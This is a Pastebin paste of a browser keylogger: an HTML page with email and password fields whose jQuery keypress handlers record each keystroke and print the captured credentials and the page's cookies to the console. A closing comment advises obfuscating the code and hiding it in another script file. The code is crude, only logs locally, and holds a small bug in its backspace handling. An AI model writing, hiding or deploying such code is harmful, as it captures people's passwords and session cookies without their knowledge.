n0va_sa

JavaScript Keylogger

Aug 1st, 2017
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <!-- JavaScript Keylogger -->
  2. <!DOCTYPE html>
  3. <html lang="en">
  4. <head>
  5.   <meta charset="UTF-8">
  6.   <title>Document</title>
  7.  
  8.   <script src="http://code.jquery.com/jquery-3.2.1.slim.min.js" charset="utf-8"></script>
  9. </head>
  10.  
  11. <body>
  12.   <table>
  13.     <tr>
  14.     <td>Email </td>
  15.     <td><input type="text" name="" id="email"> <br></td>
  16.     </tr>
  17.     <tr>
  18.     <td>Password </td>
  19.     <td><input type="password" name="" id="password"> <br></td>
  20.     </tr>
  21. </table>
  22. <script>
  23. var email = [];
  24. var password = [];
  25. /*
  26. * JS way of Implementation is
  27. var x = document.querySelectorAll("input");
  28. x[0].addEventListener("keypress",function(event){
  29.  console.log("the key is: ",String.fromCodePoint(event.which));
  30. });
  31. */
  32. $("#email").keypress(function(event){
  33.     if(event.which == 17){
  34.       console.log(document.cookie);
  35.     }
  36.     else if(event.which == 13){
  37.       email.push("<ENTER>");
  38.     }
  39.     else if(event.which == 9){
  40.       email.push("<TAB>");
  41.     }
  42.     else if (event.which == 8){
  43.       if(email.length != 0)
  44.         email.pop();
  45.     }
  46.     else {
  47.       email.push(String.fromCharCode(event.which));
  48.     }
  49. });
  50. $("#password").keypress(function(event){
  51.     if(event.which == 17){
  52.       console.log(document.cookie);
  53.     }
  54.     else if(event.which == 13){
  55.       password.push("<ENTER>");
  56.     }
  57.     else if(event.which == 9){
  58.       password.push("<TAB>");
  59.     }
  60.     else if (event.which == 8){
  61.       if(email.length != 0)
  62.         password.pop();
  63.     }
  64.     else {
  65.       password.push(String.fromCharCode(event.which));
  66.     }
  67. });
  68. var printEmail = function(){
  69.   console.log("email: ",email);
  70.   console.log("password: ",password);
  71. }
  72. // just use some sort of scrumbler and make it hard for anyOne to read // and put this into other script file
  73. </script>
  74. </body>
  75. </html>
Add Comment
Please, Sign In to add comment